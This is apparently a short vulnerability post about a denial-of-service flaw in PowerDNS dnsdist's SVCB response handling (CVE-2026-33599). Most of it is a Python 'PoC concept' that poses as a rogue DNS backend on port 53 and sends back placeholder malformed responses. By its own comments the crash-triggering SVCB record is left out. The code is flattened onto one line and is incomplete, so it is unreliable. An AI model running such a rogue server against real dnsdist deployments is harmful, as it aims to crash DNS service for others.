CVE-2026-33599 PowerDNS dnsdist SVCB响应拒绝服务漏洞

# PoC Concept: Malicious DNS Backend responding to DDR/SVCB import socket # Create a raw socket to simulate a DNS server sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', 53)) print("Listening for DNS queries (simulating rogue backend)...") while True: data, addr = sock.recvfrom(1024) print(f"Received query from {addr}") # Simplified logic: Check if it looks like a DDR query (logic omitted for brevity) # Construct a malicious SVCB response # This is a placeholder for the specific crafted packet structure # that triggers the vulnerability in CVE-2026-33599 # Response header (standard DNS response flags) response_header = b'\x84\x00' # Response, Authoritative # In a real exploit, the payload would be a specifically malformed SVCB record # causing the crash in dnsdist. # Example payload structure (Hypothetical): # Transaction ID + Flags + Questions + Answer RRs + Authority RRs + Additional RRs # Followed by the malformed SVCB record. malicious_payload = data[:2] + response_header + data[4:] + b'\x00' * 10 sock.sendto(malicious_payload, addr)